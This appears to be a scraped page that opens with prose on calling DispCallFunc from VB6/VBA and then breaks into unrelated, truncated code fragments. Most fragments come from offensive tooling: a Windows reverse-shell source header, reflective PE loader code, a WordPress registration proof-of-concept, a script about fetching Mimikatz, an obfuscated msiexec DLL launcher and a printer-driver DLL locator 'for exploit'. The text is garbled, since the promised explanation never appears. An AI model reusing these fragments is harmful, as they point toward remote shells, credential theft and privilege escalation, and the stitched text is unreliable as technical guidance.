Aekr1_ //akrasia 0x25bit

VB6 and VBA come with no support for function pointers.

Also, when you wish to execute a function in a dll using the Declare function, you can only call functions created by the Steadcall calling conversation.

These constraints can be avoided by using the DispCallFunc API. The DispCallFunc is widely used in VB6 when erasing the history of IE. Although the DispCallFunc is known as API for calling the IUnknown interface, in fact, you can also perform other functions other than COM by passing the NULL to the first argument.

As explained in the http://msdn.microsoft.com/en-us/library/ms221473(v=vs.85).aspx , the DispCallFunc argument is as follows.

	using System;
	using System.Collections;
	using System.Collections.Generic;
	using System.Linq;
	using System.Linq.Expressions;
	using System.Reflection;
	using System.Text;

	GetMethodHash("System.Reflection.Assembly", "Load");

	/*
	* code inspired and modified from defcon25,MSDocs,StackOverflow
	* i686-w64-mingw32-gcc -o win_rsh win_rsh.c -lws2_32
	*/

	#include <ws2tcpip.h>
	#include <stdio.h>
	#pragma comment(lib, "ws2_32")
	int main(int argc, char *argv[]){
	WSADATA wsaData;

	MapImg = MemAllocateStomped( &fTable, ImgLen );

	if ( !MapImg ) {
	sParam.ImgMod = TRUE;
	MapImg = MemAllocateVirtual( &fTable, ImgLen );
	};
	InlineZeroMemory( MapImg, ImgLen );

	SecHdr = IMAGE_FIRST_SECTION( NtsHdr );
	for ( INT i = 0 ; i < NtsHdr->FileHeader.NumberOfSections ; ++i ) {

	function randomInt(min, max) {
	return Math.floor(Math.random() * (max - min + 1)) + min;
	}

	jQuery(document).ready(function($){
	username = "poctesting"+randomInt(1,1337);
	password_poc = "S3cr3t"+randomInt(1,1337);
	nonce = stm_lms_nonces.stm_lms_register

	post_data = {

	#
	# Script that somewhat shows that processes specifically named may download
	# Mimikatz unobstructed.
	#
	# Tweet related:
	# https://twitter.com/mariuszbit/status/1450479981855969281
	#

	$code = @'
	class Program

	//execute with
	//msiexec.exe /z C:\Users\ch4rm\Desktop\ObfuscatorXOR\Dlllauncher\bin\x64\Release\Dlllauncher.dll
	using System;
	using RGiesecke.DllExport;
	using System.Runtime.InteropServices;
	using System.Diagnostics;
	using System.Text;
	using System.Security.Cryptography;
	using System.IO;

	// It is returns DLL path, you can use that value in exploit.
	// Example return value: C:\WINDOWS\System32\DriverStore\FileRepository\ntprint.inf_amd64_xxxxxxxxxxxxxxxx\Amd64\UNIDRV.DLL

	wchar_t* findDLLPath() {

	wchar_t targetDLLPath[MAX_PATH] = { 0 };

	DWORD dwNeeded;
	LPBYTE lpDriverInfo;
	DWORD dwReturned;

	#include <iostream>
	#include <Windows.h>
	#include <TlHelp32.h>
	#include <vector>
	#include "aes.hpp"
	#include "base64.h"
	#include "low.h"
	#include <string>
	#include <map>
	#include <sstream>